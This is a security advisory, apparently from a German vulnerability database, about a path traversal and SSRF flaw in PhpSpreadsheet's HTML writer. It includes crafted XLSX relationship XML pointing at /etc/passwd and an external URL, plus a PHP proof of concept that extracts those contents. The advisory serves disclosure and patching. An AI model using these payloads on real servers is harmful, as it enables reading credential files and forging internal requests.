Mittel

PhpSpreadsheet allows absolute path traversal and Server-Side Request Forgery in HTML writer when embedding images is enabled

  • Veröffentlicht: 07.10.2024
  • Aktualisiert: 11.10.2026 10:22

Summary

It's possible for an attacker to construct an XLSX file that links images from arbitrary paths. When embedding images has been enabled in HTML writer with $writer->setEmbedImages(true); those files will be included in the output as data: URLs, regardless of the file's type. Also URLs can be used for embedding, resulting in a Server-Side Request Forgery vulnerability.

Details

XLSX files allow embedding or linking media. When

In xl/drawings/drawing1.xml an attacker can do e.g.:

xml
<a:blip cstate="print" r:link="rId1" />

And then, in xl/drawings/_rels/drawing1.xml.rels they can set the path to anything, such as:

xml
<Relationship Id="rId1"
    Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/image"
    Target="/etc/passwd" />

or

xml
<Relationship Id="rId1"
    Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/image"
    Target="http://example.org" />

When the HTML writer is outputting the image, it does not check the path in any way. Also the getimagesize() call does not mitigate this, because when getimagesize() returns false, an empty mime type is used.

php
if ($this->embedImages || str_starts_with($imageData, 'zip://')) {
    $picture = @file_get_contents($filename);
    if ($picture !== false) {
        $imageDetails = getimagesize($filename) ?: ['mime' => ''];
        // base64 encode the binary data
        $base64 = base64_encode($picture);
        $imageData = 'data:' . $imageDetails['mime'] . ';base64,' . $base64;
    }
}

$html .= '<img style="position: absolute; z-index: 1; left: '
    . $drawing->getOffsetX() . 'px; top: ' . $drawing->getOffsetY() . 'px; width: '
    . $drawing->getWidth() . 'px; height: ' . $drawing->getHeight() . 'px;" src="'
    . $imageData . '" alt="' . $filedesc . '" />';

PoC

php
<?php

require 'vendor/autoload.php';

$reader = \PhpOffice\PhpSpreadsheet\IOFactory::createReader("Xlsx");
$spreadsheet = $reader->load(__DIR__ . '/book.xlsx');

$writer = new \PhpOffice\PhpSpreadsheet\Writer\Html($spreadsheet);
$writer->setEmbedImages(true);
$output = $writer->generateHTMLAll();

// The below is just for demo purposes

$pattern = '/data:;base64,(?<data>[^"]+)/i';

preg_match_all($pattern, $output, $matches);

print("*** /etc/passwd content: ***\n");
print(base64_decode($matches['data'][0]));

print("*** HTTP response content: ***\n");
print(base64_decode($matches['data'][1]));

Add this file in the same directory: book.xlsx

Run with: php index.php

Impact

When embedding images has been enabled, an attacker can read arbitrary files on the server and perform arbitrary HTTP GET requests, potentially e.g. revealing secrets. Note that any PHP protocol wrappers can be used, meaning that if for example the expect:// wrapper is enabled, also remote code execution is possible.

Betroffene Software

Klicken Sie auf eine Technologie, um alle zugehörigen Schwachstellen anzuzeigen.

PlattformPaketAnfällige VersionenBehoben in
Composer-Paket phpoffice/phpexcel <= 1.8.2 keine Korrektur
Composer-Paket phpoffice/phpspreadsheet >= 2.2.0, < 2.3.0, < 1.29.2, >= 2.0.0, < 2.1.1 2.3.0, 1.29.2, 2.1.1

Verweise

CVSS-Wert 6.3/10
CVSS-Vektor
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N
Schwäche (CWE)
CWE-22, CWE-36, CWE-918
Plattform
Composer
Paket
phpoffice/phpexcel, phpoffice/phpspreadsheet
Veröffentlicht
07.10.2024
Aktualisiert
11.10.2026 10:22

Quellen und Lizenzen

OSV / GitHub Advisory Database - GHSA-w9xv-qf98-ccq4 - CC BY 4.0

Schwachstellenhistorie: phpoffice/phpexcel

Alle veröffentlichten Schwachstellen dieses Pakets (Composer-Paket), neueste zuerst. Zeigt, ob es ein einmaliger Ausrutscher ist oder ein Paket, das man im Auge behalten muss.

Alle (23) im Archiv
Einträge insgesamt
23
Erste → letzte
11.2019 02.2025
Ohne Fix
20
In Angriffen ausgenutzt
0

Verteilung nach Schweregrad

  • Hoch 12
  • Mittel 10
  • Niedrig 1

Veröffentlichungen pro Jahr

  1. 2019: 2
  2. 2020: 0
  3. 2021: 1
  4. 2022: 1
  5. 2023: 0
  6. 2024: 10
  7. 2025: 9
  8. 2026: 0
Schweregrad:
  1. Hoch · 7.1 CVE-2024-56409 <= 1.8.2 keine Korrektur
  2. Hoch · 7.1 CVE-2024-56366 <= 1.8.2 keine Korrektur
  3. Hoch · 7.1 CVE-2024-56408 <= 1.8.2 keine Korrektur
  4. Hoch · 7.5 CVE-2024-48917 <= 1.8.2 keine Korrektur
  5. Hoch · 7.5 CVE-2024-47873 <= 1.8.2 keine Korrektur
  6. Hoch CVE-2015-3542 < 1.8.1 1.8.1
  7. PhpSpreadsheet allows absolute path traversal and Server-Side Request Forgery in HTML writer when embedding images is enabled dieser Eintrag
    Mittel · 6.3 CVE-2024-45291 <= 1.8.2 keine Korrektur
  8. Hoch · 7.5 CVE-2024-45293 <= 1.8.2 keine Korrektur
  9. Hoch · 8.8 CVE-2024-45048 <= 1.8.2 keine Korrektur
  10. Hoch · 8.8 CVE-2019-12331 <= 1.8.2 keine Korrektur
  11. Hoch · 8.8 CVE-2018-19277 < 1.8.2 1.8.2

Erkennen Sie Schwachstellen in Ihrer Anwendung

Mit der DockRay-Integration und aktivierter Softwareinventarisierung prüft DockRay gemeldete Komponentenversionen auf bekannte Schwachstellen und benachrichtigt Sie über bestätigte Treffer. Die Abdeckung hängt von der unterstützten Technologie und den verfügbaren Meldungen ab.

Anwendung verbinden
DockRay Newsletter

Anwendungssicherheit in Ihrem Postfach

Wichtige Schwachstellen, konkrete Empfehlungen und praktische Tipps für Ihre Anwendungen. Wählen Sie Ihre Technologien und verfolgen Sie, was für Ihr Projekt relevant ist.

  • Eine tägliche Zusammenfassung neuer Schwachstellen, auch kritischer.
  • Benachrichtigungen über wichtige Updates.
  • Praktische Tipps zur Sicherheit und Überwachung von Anwendungen.

Leer lassen, um Meldungen zu allen Technologien zu erhalten.

Kostenlos anmelden. In jeder E-Mail mit einem Klick abmelden.